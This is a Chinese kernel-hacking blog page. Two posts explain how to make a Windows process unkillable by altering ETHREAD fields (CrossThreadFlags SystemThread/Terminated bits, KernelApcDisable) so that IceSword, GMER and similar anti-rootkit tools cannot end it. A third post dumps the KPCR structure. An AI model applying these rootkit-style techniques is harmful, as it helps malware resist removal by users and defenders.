zyustc

常用链接

统计

最新评论

2010年1月23日 #

编写简单的防杀程序

发现res区现在编程风行哈~   眼看就要开学,偶再不鲜点血就说不过去了   :P
其实是比较老的东西了 不过个人感觉似乎还是有点意义的 :)  
应该能过taskmgr,IceSword(IceSword的线程信息中一个一个线程的杀还是可以干掉这种的,之于如何防IceSword按线程杀以后再讲:)),DarkSpy 1.0.5.0(我没有办法拿到内部版 所以不知道内部版是什么样的情况:P),SnipeSword (截至偶发贴之前的所有版本),GMER 1.0.13.12551(我所能拿到的最新版本)
过不了Rootkit Unhooker的虚拟内存清零(RkU的以后再讲:P),也过不了Simple Taskmgr 1.0.303
事实上,在simple taskmgr 1.0.303(st)中,所有被提及的全能bypass掉(DarkSpy杀st的时候会蓝屏T_T),不过st用的是ring0 inline hook API,暂时不说。

IceSword杀进程是使用NtTerminateProcess(当然是先恢复掉hook咯 :P),DarkSpy似乎是自己实现了一个PspTerminateProcess(但是并没有实现PspTerminateThreadByPointer),SnipeSword也是使用NtTerminateProcess(调用前恢复hook)。

无论是NtTerminateProcess还是PspTerminateProcess,最终都是调用了PspTerminateThreadByPointer(可以通过windows 2k的源代码或者wrk来看到)

以下以wrk中的代码为例,windows 2k中PspTerminateThreadByPointer的参数是两个,wrk中为三个。不过这些我们不需要关心:P

NtTerminateProcess节选如下:

Quote:

NTSTATUS
NtTerminateProcess(
     __in_opt HANDLE ProcessHandle,
     __in NTSTATUS ExitStatus
     )

{

     //省略...
    
     st = STATUS_NOTHING_TO_TERMINATE;

     for (Thread = PsGetNextProcessThread (Process, NULL);
         Thread != NULL;
         Thread = PsGetNextProcessThread (Process, Thread)) {

         st = STATUS_SUCCESS;
         if (Thread != Self) {
             PspTerminateThreadByPointer (Thread, ExitStatus, FALSE);
         }
     }
    
     //省略...

     return st;
}


PspTerminateProcess(因为PspTerminateProcess相对比较简单,就全复制过来了):

Quote:

NTSTATUS
PspTerminateProcess(
     PEPROCESS Process,
     NTSTATUS ExitStatus
     )

{

     PETHREAD Thread;
     NTSTATUS st;

     PAGED_CODE();


     if (Process->Flags
     & PS_PROCESS_FLAGS_BREAK_ON_TERMINATION) {
       PspCatchCriticalBreak("Terminating critical process 0x%p (%s)\n",
                 Process,
                 Process->ImageFileName);
     }

     PS_SET_BITS (&Process->Flags, PS_PROCESS_FLAGS_PROCESS_DELETE);

     st = STATUS_NOTHING_TO_TERMINATE;

     for (Thread = PsGetNextProcessThread (Process, NULL);
         Thread != NULL;
         Thread = PsGetNextProcessThread (Process, Thread)) {

         st = STATUS_SUCCESS;

         PspTerminateThreadByPointer (Thread, ExitStatus, FALSE);

     }

     if (st == STATUS_NOTHING_TO_TERMINATE || Process->DebugPort != NULL) {
         ObClearProcessHandleTable (Process);
         st = STATUS_SUCCESS;
     }
     return st;
}

 

可以看到这两个最后都是使用PspTerminateThreadByPointer来按照线程来终止的。

再看看PspTerminateThreadByPointer的代码(节选):

Quote:

NTSTATUS
PspTerminateThreadByPointer(
     IN PETHREAD Thread,
     IN NTSTATUS ExitStatus,
     IN BOOLEAN DirectTerminate
     )

{
     //省略...
     if (DirectTerminate && Thread == PsGetCurrentThread()) {

         ASSERT (KeGetCurrentIrql() < APC_LEVEL);

         PS_SET_BITS (&Thread->CrossThreadFlags, PS_CROSS_THREAD_FLAGS_TERMINATED);

         PspExitThread (ExitStatus);

     } else {

         if (IS_SYSTEM_THREAD (Thread)) {
             return STATUS_ACCESS_DENIED;
         }

         //省略...
     }

     return Status;
}


也就是说,只要是“他杀”(当前进程(PsGetCurrentThread())不等于参数Thread),那么就会判断IS_SYSTEM_THREAD这个宏 如果为true,就直接返回STATUS_ACCESS_DENIED(拒绝访问)


Quote:

#define IS_SYSTEM_THREAD(Thread)   (((Thread)->CrossThreadFlags&PS_CROSS_THREAD_FLAGS_SYSTEM) != 0)


从PspTerminateThreadByPointer的参数表上我们可以知道,Thread是一个PETHREAD类型的数据。
而PETHREAD被定义为*ETHREAD,也就是ETHREAD结构的指针。

ETHREAD结构(来自windbg,结构为xp sp2下的——这个结构在不同系统下不一定相同,CrossThreadFlags在ETHREAD结构中的偏移需要根据系统来判断):


Quote:

lkd> dt _ETHREAD
nt!_ETHREAD
   +0x000 Tcb               : _KTHREAD
   +0x1c0 CreateTime       : _LARGE_INTEGER
   +0x1c0 NestedFaultCount : Pos 0, 2 Bits
   +0x1c0 ApcNeeded         : Pos 2, 1 Bit
   +0x1c8 ExitTime         : _LARGE_INTEGER
   +0x1c8 LpcReplyChain     : _LIST_ENTRY
   +0x1c8 KeyedWaitChain   : _LIST_ENTRY
   +0x1d0 ExitStatus       : Int4B
   +0x1d0 OfsChain         : Ptr32 Void
   +0x1d4 PostBlockList     : _LIST_ENTRY
   +0x1dc TerminationPort   : Ptr32 _TERMINATION_PORT
   +0x1dc ReaperLink       : Ptr32 _ETHREAD
   +0x1dc KeyedWaitValue   : Ptr32 Void
   +0x1e0 ActiveTimerListLock : Uint4B
   +0x1e4 ActiveTimerListHead : _LIST_ENTRY
   +0x1ec Cid               : _CLIENT_ID
   +0x1f4 LpcReplySemaphore : _KSEMAPHORE
   +0x1f4 KeyedWaitSemaphore : _KSEMAPHORE
   +0x208 LpcReplyMessage   : Ptr32 Void
   +0x208 LpcWaitingOnPort : Ptr32 Void
   +0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION
   +0x210 IrpList           : _LIST_ENTRY
   +0x218 TopLevelIrp       : Uint4B
   +0x21c DeviceToVerify   : Ptr32 _DEVICE_OBJECT
   +0x220 ThreadsProcess   : Ptr32 _EPROCESS
   +0x224 StartAddress     : Ptr32 Void
   +0x228 Win32StartAddress : Ptr32 Void
   +0x228 LpcReceivedMessageId : Uint4B
   +0x22c ThreadListEntry   : _LIST_ENTRY
   +0x234 RundownProtect   : _EX_RUNDOWN_REF
   +0x238 ThreadLock       : _EX_PUSH_LOCK
   +0x23c LpcReplyMessageId : Uint4B
   +0x240 ReadClusterSize   : Uint4B
   +0x244 GrantedAccess     : Uint4B
   +0x248 CrossThreadFlags : Uint4B
   +0x248 Terminated       : Pos 0, 1 Bit
   +0x248 DeadThread       : Pos 1, 1 Bit
   +0x248 HideFromDebugger : Pos 2, 1 Bit
   +0x248 ActiveImpersonationInfo : Pos 3, 1 Bit
   +0x248 SystemThread     : Pos 4, 1 Bit
   +0x248 HardErrorsAreDisabled : Pos 5, 1 Bit
   +0x248 BreakOnTermination : Pos 6, 1 Bit
   +0x248 SkipCreationMsg   : Pos 7, 1 Bit
   +0x248 SkipTerminationMsg : Pos 8, 1 Bit
   +0x24c SameThreadPassiveFlags : Uint4B
   +0x24c ActiveExWorker   : Pos 0, 1 Bit
   +0x24c ExWorkerCanWaitUser : Pos 1, 1 Bit
   +0x24c MemoryMaker       : Pos 2, 1 Bit
   +0x250 SameThreadApcFlags : Uint4B
   +0x250 LpcReceivedMsgIdValid : Pos 0, 1 Bit
   +0x250 LpcExitThreadCalled : Pos 1, 1 Bit
   +0x250 AddressSpaceOwner : Pos 2, 1 Bit
   +0x254 ForwardClusterOnly : UChar
   +0x255 DisablePageFaultClustering : UChar


理论上都都讲完了,我们来回顾下:

1、不论SnipeSword,IceSword,DarkSpy,又或是GMER(如果我没记错,GMER应该是使用NtTerminateProcess的方法来结束进程的),最终杀进程都要过PspTerminateThreadByPointer
2、PspTerminateThreadByPointer会检查线程的SystemThread标志(ETHREAD结构中CrossThreadFlags的第四位),如果被置为1,就返回拒绝访问(STATUS_ACCESS_DENIED)
3、ETHREAD结构在不同系统中不同,所以我们需要判断操作系统版本(这个我不会在演示代码中出现,交给大家了:P)。

但是我们仍然有一些问题没有解决:

1、进程的ETHREAD结构在内存中的地址是多少?
2、ETHREAD结构存在于系统高2G空间,如何修改?

至于判断系统版本,相信大家都会 :)

1、ETHREAD结构的地址

ntdll.dll导出了一个未文档化的函数——NtQuerySystemInformation,它可以用来查询SystemHandleInformation,查询SystemHandleInformation的返回的数据结构如下(懒得再弄vb的了,直接把C的弄过来,这个可能跟我的代码中的定义有些不同,但是实际上被用到的数据在结构中的偏移是相同的:P):

Quote:

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
     USHORT UniqueProcessId;
     USHORT CreatorBackTraceIndex;
     UCHAR ObjectTypeIndex;
     UCHAR HandleAttributes;
     USHORT HandleValue;
     PVOID Object;
     ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
     ULONG NumberOfHandles;
     SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


NumberOfHandles表示返回的数组个数,SYSTEM_HANDLE_TABLE_ENTRY_INFO则是返回的数据。

SYSTEM_HANDLE_TABLE_ENTRY_INFO中的HandleValue是句柄的值,Object便是这个Handle对应的对象(Object,如果Handle类型为线程,那么这个对象就是ETHREAD结构)的地址。

嗯,我想我说的还是比较清楚的。

2、修改物理内存

ntdll.dll还导出了一个函数叫做NtSystemDebugControl,这个函数可以用来操作高2G的内存空间。

剩下的废话不多说了~ 大家看附件把 :)

posted @ 2010-01-23 16:39 风一样的离去 阅读(1195) | 评论 (0)编辑 收藏

DKOM更改ETHREAD--进程防杀

关于进程防杀思路:

1.保持现有进程防杀机制不变!的确,瑞星此时在防止Ring3下进程的防杀几乎没有缺憾!

2.直接操作线程的ETHREAD结构的几个变量!只是简单的DKOM,就达到了底层HOOK 函数所达到的功能!此时达到的功能:防止冰刃,RkU的进程防杀----当然,对于大部分的程序也能阻止....

 

DKOM进程防杀的技术点--这里是对线程的操作----(遍历进程内的所有线程即可):

 

方案1

KernelApcDisable ----利用这个值来防止APC的插入!------KernelApcDisable ++;

kd> dt _ethread -r

nt!_ETHREAD

   +0x000 Tcb              : _KTHREAD

           ...................

     +0x0d4 KernelApcDisable : Uint4B------利用这个!

        ...................

      +0x166 ApcQueueable     : UChar-------我测试时BSOD!

 

KernelApcDisable 这个关键点的利用在于对PsLookupProcessByProcessId函数的分析时发现并测试的!

PsLookupProcessByProcessId提取的指令:

........

805c8c35 ff7508          push    dword ptr [ebp+8]

805c8c38 8bf0            mov     esi,eax

805c8c3a ff8ed4000000    dec     dword ptr [esi+0D4h]

.........

 

 

不过,利用这种方式来防杀,首先遇到的问题就是:其他进程(冰刃,Rku....)都无法结束利用此种方式保护的进程......

如果是程序自己结束,BSOD!解决方案很简单,当自己程序结束时,恢复这个值就可以了!

 

方案2:更改CrossThreadFlags 的线程属性

kd> dt _ethread

nt!_ETHREAD

   +0x248 CrossThreadFlags : Uint4B

   +0x248 Terminated       : Pos 0, 1 Bit---欺骗系统此线程已经结束!-----值=1;

   +0x248 DeadThread       : Pos 1, 1 Bit

   +0x248 HideFromDebugger : Pos 2, 1 Bit

   +0x248 ActiveImpersonationInfo : Pos 3, 1 Bit

   +0x248 SystemThread     : Pos 4, 1 Bit-----欺骗系统此线程为系统线程!!-----值=1;

   +0x248 HardErrorsAreDisabled : Pos 5, 1 Bit

   +0x248 BreakOnTermination : Pos 6, 1 Bit

   +0x248 SkipCreationMsg : Pos 7, 1 Bit

   +0x248 SkipTerminationMsg : Pos 8, 1 Bit

 

 

这个在Wrk中有简单的说明,大概就是:

union {

        ULONG CrossThreadFlags;   

        struct {

            ULONG Terminated              : 1;

            ULONG DeadThread              : 1;

            ULONG HideFromDebugger        : 1;

            ULONG ActiveImpersonationInfo : 1;

            ULONG SystemThread            : 1;

            ULONG HardErrorsAreDisabled   : 1;

            ULONG BreakOnTermination      : 1;

            ULONG SkipCreationMsg         : 1;

            ULONG SkipTerminationMsg      : 1;

       };

};

A.利用ULONG SystemThread            : 1的思路来源:

对于PspTerminateThreadByPointer的代码分析:

..............

805c83f2 f60610          test    byte ptr [esi],10h

;检测0x248 CrossThreadFlagsSystemThread4)位是否为1!是,表示是系统线程,不能结束!

805c83f5 740a            je      nt!PspTerminateThreadByPointer+0x61 (805c8401)

................

 

 

利用这种方式达到的效果仍然和方案1相同!并且自己结束时也不会造成蓝屏!

 

B.利用 +0x248 Terminated       : Pos 0, 1 Bit的思路来源:

对于PspTerminateThreadByPointer的代码分析

..................

805c8428 8b4d08          mov     ecx,dword ptr [ebp+8];-----ETHREAD!参数1

805c842b 33d2            xor     edx,edx

805c842d 42              inc     edx;---edi=1;

805c842e 81c148020000    add     ecx,248h;-ecx=ETHREAD+0x248;

805c8434 8b01            mov     eax,dword ptr [ecx];eax=CrossThreadFlags;

805c8436 8bf0            mov     esi,eax---esi=CrossThreadFlags;

805c8438 0bf2            or      esi,edx

;----esi=CrossThreadFlags|1!Terminated标志位如果为1,esi=1;反之,为0

805c843a f00fb131        lock cmpxchg dword ptr [ecx],esi

--比较交换吗?如果CrossThreadFlags原来的值为0,标志位为0!如果原来的值为1,标志位为1

但最后ETHREAD+0x248 -CrossThreadFlags Terminated标志位为1!

805c843e 75f6            jne     nt!PspTerminateThreadByPointer+0x96 (805c8436)

805c8440 84c2            test    dl,al----dl---1;al----CrossThreadFlags

------这儿的比较注意:比较的是原来的CrossThreadFlags的标志!如果原来的值为0,则805c8444

如果原来的值为1,则跳转到805c8489

.................................

<代码中的注释是我的理解,如果错了,多多包涵,o(_)o...>

进程防杀的效果和以上相同!

posted @ 2010-01-23 16:38 风一样的离去 阅读(1169) | 评论 (0)编辑 收藏

ffdff000 处的结构 KPCR

ffdff000 处的结构 KPCR

作者: JIURL

                主页: http://jiurl.yeah.net

    日期: 2003-11-13


    ffdff000 处是一个叫做 KPCR 的结构,PCR 即 Processor Control Region ,处理器控制域。这是一个很有用的结构。系统本身就大量使用。

    下面是从 WinDbg 中得到的 win2k build 2195 的 KPCR 结构

struct _KPCR (sizeof=2832)
+000 struct _NT_TIB NtTib
+000 struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList
+004 void *StackBase
+008 void *StackLimit
+00c void *SubSystemTib
+010 void *FiberData
+010 uint32 Version
+014 void *ArbitraryUserPointer
+018 struct _NT_TIB *Self
+01c struct _KPCR *SelfPcr
+020 struct _KPRCB *Prcb
+024 byte Irql
+028 uint32 IRR
+02c uint32 IrrActive
+030 uint32 IDR
+034 uint32 Reserved2
+038 struct _KIDTENTRY *IDT
+03c struct _KGDTENTRY *GDT
+040 struct _KTSS *TSS
+044 uint16 MajorVersion
+046 uint16 MinorVersion
+048 uint32 SetMember
+04c uint32 StallScaleFactor
+050 byte DebugActive
+051 byte Number
+052 byte VdmAlert
+053 byte Reserved[1]
+054 uint32 KernelReserved[15]
+090 uint32 SecondLevelCacheSize
+094 uint32 HalReserved[16]
+0d4 uint32 InterruptMode
+0d8 byte Spare1
+0dc uint32 KernelReserved2[17]
+120 struct _KPRCB PrcbData
+120 uint16 MinorVersion
+122 uint16 MajorVersion
+124 struct _KTHREAD *CurrentThread
+128 struct _KTHREAD *NextThread
+12c struct _KTHREAD *IdleThread
+130 char Number
+131 char Reserved
+132 uint16 BuildType
+134 uint32 SetMember
+138 char CpuType
+139 char CpuID
+13a uint16 CpuStep
+13c struct _KPROCESSOR_STATE ProcessorState
+13c struct _CONTEXT ContextFrame
+13c uint32 ContextFlags
+140 uint32 Dr0
+144 uint32 Dr1
+148 uint32 Dr2
+14c uint32 Dr3
+150 uint32 Dr6
+154 uint32 Dr7
+158 struct _FLOATING_SAVE_AREA FloatSave
+158 uint32 ControlWord
+15c uint32 StatusWord
+160 uint32 TagWord
+164 uint32 ErrorOffset
+168 uint32 ErrorSelector
+16c uint32 DataOffset
+170 uint32 DataSelector
+174 byte RegisterArea[80]
+1c4 uint32 Cr0NpxState
+1c8 uint32 SegGs
+1cc uint32 SegFs
+1d0 uint32 SegEs
+1d4 uint32 SegDs
+1d8 uint32 Edi
+1dc uint32 Esi
+1e0 uint32 Ebx
+1e4 uint32 Edx
+1e8 uint32 Ecx
+1ec uint32 Eax
+1f0 uint32 Ebp
+1f4 uint32 Eip
+1f8 uint32 SegCs
+1fc uint32 EFlags
+200 uint32 Esp
+204 uint32 SegSs
+208 byte ExtendedRegisters[512]
+408 struct _KSPECIAL_REGISTERS SpecialRegisters
+408 uint32 Cr0
+40c uint32 Cr2
+410 uint32 Cr3
+414 uint32 Cr4
+418 uint32 KernelDr0
+41c uint32 KernelDr1
+420 uint32 KernelDr2
+424 uint32 KernelDr3
+428 uint32 KernelDr6
+42c uint32 KernelDr7
+430 struct _DESCRIPTOR Gdtr
+430 uint16 Pad
+432 uint16 Limit
+434 uint32 Base
+438 struct _DESCRIPTOR Idtr
+438 uint16 Pad
+43a uint16 Limit
+43c uint32 Base
+440 uint16 Tr
+442 uint16 Ldtr
+444 uint32 Reserved[6]
+45c uint32 KernelReserved[16]
+49c uint32 HalReserved[16]
+4dc struct _KSPIN_LOCK_QUEUE LockQueue[16]
struct _KSPIN_LOCK_QUEUE *Next
uint32 *Lock
+55c struct _KTHREAD *NpxThread
+560 uint32 InterruptCount
+564 uint32 KernelTime
+568 uint32 UserTime
+56c uint32 DpcTime
+570 uint32 InterruptTime
+574 uint32 ApcBypassCount
+578 uint32 DpcBypassCount
+57c uint32 AdjustDpcThreshold
+580 uint32 DebugDpcTime
+584 uint32 Spare2[4]
+594 uint32 ThreadStartCount[2]
+59c void *SpareHotData[2]
+5a4 uint32 CcFastReadNoWait
+5a8 uint32 CcFastReadWait
+5ac uint32 CcFastReadNotPossible
+5b0 uint32 CcCopyReadNoWait
+5b4 uint32 CcCopyReadWait
+5b8 uint32 CcCopyReadNoWaitMiss
+5bc uint32 KeAlignmentFixupCount
+5c0 uint32 KeContextSwitches
+5c4 uint32 KeDcacheFlushCount
+5c8 uint32 KeExceptionDispatchCount
+5cc uint32 KeFirstLevelTbFills
+5d0 uint32 KeFloatingEmulationCount
+5d4 uint32 KeIcacheFlushCount
+5d8 uint32 KeSecondLevelTbFills
+5dc uint32 KeSystemCalls
+5e0 uint32 ReservedCounter[8]
+600 void *SmallIrpFreeEntry
+604 void *LargeIrpFreeEntry
+608 void *MdlFreeEntry
+60c void *CreateInfoFreeEntry
+610 void *NameBufferFreeEntry
+614 void *SharedCacheMapEntry
+618 uint32 CachePad0[2]
+620 struct _PP_LOOKASIDE_LIST PPLookasideList[16]
struct _NPAGED_LOOKASIDE_LIST *P
struct _NPAGED_LOOKASIDE_LIST *L
+6a0 struct _PP_LOOKASIDE_LIST PPNPagedLookasideList[8]
struct _NPAGED_LOOKASIDE_LIST *P
struct _NPAGED_LOOKASIDE_LIST *L
+6e0 struct _PP_LOOKASIDE_LIST PPPagedLookasideList[8]
struct _NPAGED_LOOKASIDE_LIST *P
struct _NPAGED_LOOKASIDE_LIST *L
+720 byte ReservedPad[128]
+7a0 void *CurrentPacket[3]
+7ac uint32 TargetSet
+7b0 function *WorkerRoutine
+7b4 uint32 IpiFrozen
+7b8 uint32 CachePad1[2]
+7c0 uint32 RequestSummary
+7c4 struct _KPRCB *SignalDone
+7c8 uint32 ReverseStall
+7cc void *IpiFrame
+7d0 uint32 CachePad2[4]
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3[2]
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4[2]
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
+820 uint32 KernelReserved2[10]
+848 uint32 DpcLock
+84c byte SkipTick
+84d byte VendorString[13]
+85c uint32 MHz
+860 uint32 FeatureBits
+868 union _LARGE_INTEGER UpdateSignature
+868 uint32 LowPart
+86c int32 HighPart
+868 struct __unnamed3 u
+868 uint32 LowPart
+86c int32 HighPart
+868 int64 QuadPart
+870 uint32 QuantumEnd
+878 struct _PROCESSOR_POWER_STATE PowerState
+878 function *IdleFunction
+87c uint32 Idle0KernelTimeLimit
+880 uint32 Idle0LastTime
+884 void *IdleState
+888 uint64 LastCheck
+890 struct PROCESSOR_IDLE_TIMES IdleTimes
+890 uint64 StartTime
+898 uint64 EndTime
+8a0 uint32 IdleHandlerReserved[4]
+8b0 uint32 IdleTime1
+8b4 uint32 PromotionCheck
+8b8 uint32 IdleTime2
+8bc byte CurrentThrottle
+8bd byte ThrottleLimit
+8be byte Spare1[2]
+8c0 uint32 SetMember
+8c4 void *AbortThrottle
+8c8 uint64 DebugDelta
+8d0 uint32 DebugCount
+8d4 uint32 LastSysTime
+8d8 uint32 Spare2[10]
+900 struct _FX_SAVE_AREA NpxSaveArea
+900 union __unnamed63 U
+900 struct _FNSAVE_FORMAT FnArea
+900 uint32 ControlWord
+904 uint32 StatusWord
+908 uint32 TagWord
+90c uint32 ErrorOffset
+910 uint32 ErrorSelector
+914 uint32 DataOffset
+918 uint32 DataSelector
+91c byte RegisterArea[80]
+900 struct _FXSAVE_FORMAT FxArea
+900 uint16 ControlWord
+902 uint16 StatusWord
+904 uint16 TagWord
+906 uint16 ErrorOpcode
+908 uint32 ErrorOffset
+90c uint32 ErrorSelector
+910 uint32 DataOffset
+914 uint32 DataSelector
+918 uint32 MXCsr
+91c uint32 Reserved2
+920 byte RegisterArea[128]
+9a0 byte Reserved3[128]
+a20 byte Reserved4[224]
+b00 byte Align16Byte[8]
+b08 uint32 NpxSavedCpu
+b0c uint32 Cr0NpxState

某一时刻 KPCR 中的值
struct _KPCR (sizeof=2832)
+000 struct _NT_TIB NtTib
+000 struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList = 8046F7CC
+004 void *StackBase = 8046FE30
+008 void *StackLimit = 8046D040
+00c void *SubSystemTib = 00000000
+010 void *FiberData = 00000000
+010 uint32 Version = 00000000
+014 void *ArbitraryUserPointer = 00000000
+018 struct _NT_TIB *Self = 00000000
+01c struct _KPCR *SelfPcr = FFDFF000
+020 struct _KPRCB *Prcb = FFDFF120
+024 byte Irql = 00 .
+028 uint32 IRR = 00000000
+02c uint32 IrrActive = 00000000
+030 uint32 IDR = ffffffff
+034 uint32 Reserved2 = 00000000
+038 struct _KIDTENTRY *IDT = 80036400
+03c struct _KGDTENTRY *GDT = 80036000
+040 struct _KTSS *TSS = 80223000
+044 uint16 MajorVersion = 0001
+046 uint16 MinorVersion = 0001
+048 uint32 SetMember = 00000001
+04c uint32 StallScaleFactor = 00000064
+050 byte DebugActive = 00 .
+051 byte Number = 00 .
+052 byte VdmAlert = 00 .
+053 byte Reserved[1] = 00 .
+054 uint32 KernelReserved[15] = 00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 .... .... ....
+090 uint32 SecondLevelCacheSize = 00020000
+094 uint32 HalReserved[16] = 00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
+0d4 uint32 InterruptMode = 00000000
+0d8 byte Spare1 = 00 .
+0dc uint32 KernelReserved2[17] = 00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 ....
+120 struct _KPRCB PrcbData
+120 uint16 MinorVersion = 0001
+122 uint16 MajorVersion = 0001
+124 struct _KTHREAD *CurrentThread = 8046BDF0
+128 struct _KTHREAD *NextThread = 00000000
+12c struct _KTHREAD *IdleThread = 8046BDF0
+130 char Number = 00 .
+131 char Reserved = 00 .
+132 uint16 BuildType = 0002
+134 uint32 SetMember = 00000001
+138 char CpuType = 06 .
+139 char CpuID = 01 .
+13a uint16 CpuStep = 0608
+13c struct _KPROCESSOR_STATE ProcessorState
+13c struct _CONTEXT ContextFrame
+13c uint32 ContextFlags = 00010017
+140 uint32 Dr0 = 00000000
+144 uint32 Dr1 = 00000000
+148 uint32 Dr2 = 00000000
+14c uint32 Dr3 = 00000000
+150 uint32 Dr6 = 00000023
+154 uint32 Dr7 = 00000000
+158 struct _FLOATING_SAVE_AREA FloatSave
+158 uint32 ControlWord = 00000000
+15c uint32 StatusWord = 00000000
+160 uint32 TagWord = 00000000
+164 uint32 ErrorOffset = 00000000
+168 uint32 ErrorSelector = 00000000
+16c uint32 DataOffset = 00000000
+170 uint32 DataSelector = 00000000
+174 byte RegisterArea[80] = 00 00 00 00 18 fc 46 80 . . . . . . F .
70 00 43 80 00 fc 46 80 p . C . . . F .
00 00 00 00 8c f8 46 80 . . . . . . F .
17 00 01 00 00 00 00 00 . . . . . . . .
+1c4 uint32 Cr0NpxState = 00000023
+1c8 uint32 SegGs = 00000000
+1cc uint32 SegFs = 00000030
+1d0 uint32 SegEs = 00000023
+1d4 uint32 SegDs = 00000023
+1d8 uint32 Edi = fe4cf228
+1dc uint32 Esi = fe4f50e0
+1e0 uint32 Ebx = ffffffff
+1e4 uint32 Edx = 8047e684
+1e8 uint32 Ecx = 000000b1
+1ec uint32 Eax = 00000001
+1f0 uint32 Ebp = 8046fc8c
+1f4 uint32 Eip = fe1c2806
+1f8 uint32 SegCs = 00000008
+1fc uint32 EFlags = 00000246
+200 uint32 Esp = 8046fc88
+204 uint32 SegSs = 00000010
+208 byte ExtendedRegisters[512] = 10 00 00 00 10 00 00 00 . . . . . . . .
10 00 00 00 9c 6a 06 80 . . . . . j . .
9c 6a 06 80 fe 03 00 00 . j . . . . . .
00 00 00 00 88 a4 06 80 . . . . . . . .
+408 struct _KSPECIAL_REGISTERS SpecialRegisters
+408 uint32 Cr0 = 8001003b
+40c uint32 Cr2 = 77e1fe01
+410 uint32 Cr3 = 00030000
+414 uint32 Cr4 = 000002d1
+418 uint32 KernelDr0 = 00000000
+41c uint32 KernelDr1 = 00000000
+420 uint32 KernelDr2 = 00000000
+424 uint32 KernelDr3 = 00000000
+428 uint32 KernelDr6 = ffff0ff0
+42c uint32 KernelDr7 = 00000400
+430 struct _DESCRIPTOR Gdtr
+430 uint16 Pad = 0000
+432 uint16 Limit = 03ff
+434 uint32 Base = 80036000
+438 struct _DESCRIPTOR Idtr
+438 uint16 Pad = 0000
+43a uint16 Limit = 07ff
+43c uint32 Base = 80036400
+440 uint16 Tr = 0028
+442 uint16 Ldtr = 0000
+444 uint32 Reserved[6] = 00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 .... ....
+45c uint32 KernelReserved[16] = 00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
+49c uint32 HalReserved[16] = 00000000 00001010 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
00000000 00000000 00000000 00000000 .... .... .... ....
+4dc struct _KSPIN_LOCK_QUEUE LockQueue[16]
+4dc LockQueue[0]
+4dc struct _KSPIN_LOCK_QUEUE *Next = 00000000
+4e0 uint32 *Lock = 00000000
+4e4 LockQueue[1]
+4e4 struct _KSPIN_LOCK_QUEUE *Next = 00000000
+4e8 uint32 *Lock = 00000000
+4ec LockQueue[2]
+4ec struct _KSPIN_LOCK_QUEUE *Next = 00000000
+4f0 uint32 *Lock = 00000000
+4f4 LockQueue[3]
+4f4 struct _KSPIN_LOCK_QUEUE *Next = 00000000
+4f8 uint32 *Lock = 00000000
+4fc LockQueue[4]
+4fc struct _KSPIN_LOCK_QUEUE *Next = 00000000
+500 uint32 *Lock = 00000000
+504 LockQueue[5]
+504 struct _KSPIN_LOCK_QUEUE *Next = 00000000
+508 uint32 *Lock = 00000000
+50c LockQueue[6]
+50c struct _KSPIN_LOCK_QUEUE *Next = 00000000
+510 uint32 *Lock = 00000000
+514 LockQueue[7]
+514 struct _KSPIN_LOCK_QUEUE *Next = 00000000
+518 uint32 *Lock = 00000000
+51c LockQueue[8]
+51c struct _KSPIN_LOCK_QUEUE *Next = 00000000
+520 uint32 *Lock = 00000000
+524 LockQueue[9]
+524 struct _KSPIN_LOCK_QUEUE *Next = 00000000
+528 uint32 *Lock = 00000000
+52c LockQueue[10]
+52c struct _KSPIN_LOCK_QUEUE *Next = 00000000
+530 uint32 *Lock = 00000000
+534 LockQueue[11]
+534 struct _KSPIN_LOCK_QUEUE *Next = 00000000
+538 uint32 *Lock = 00000000
+53c LockQueue[12]
+53c struct _KSPIN_LOCK_QUEUE *Next = 00000000
+540 uint32 *Lock = 00000000
+544 LockQueue[13]
+544 struct _KSPIN_LOCK_QUEUE *Next = 00000000
+548 uint32 *Lock = 00000000
+54c LockQueue[14]
+54c struct _KSPIN_LOCK_QUEUE *Next = 00000000
+550 uint32 *Lock = 00000000
+554 LockQueue[15]
+554 struct _KSPIN_LOCK_QUEUE *Next = 00000000
+558 uint32 *Lock = 00000000
+55c struct _KTHREAD *NpxThread = 00000000
+560 uint32 InterruptCount = 00004aca
+564 uint32 KernelTime = 00003396
+568 uint32 UserTime = 000002d9
+56c uint32 DpcTime = 0000007b
+570 uint32 InterruptTime = 000003fb
+574 uint32 ApcBypassCount = 00001709
+578 uint32 DpcBypassCount = 00000000
+57c uint32 AdjustDpcThreshold = 00000014
+580 uint32 DebugDpcTime = 00000000
+584 uint32 Spare2[4] = 00000000 00000000 00000000 00000000 .... .... .... ....
+594 uint32 ThreadStartCount[2] = 00000000 00000000 .... ....
+59c void *SpareHotData[2] = 00000000
00000000
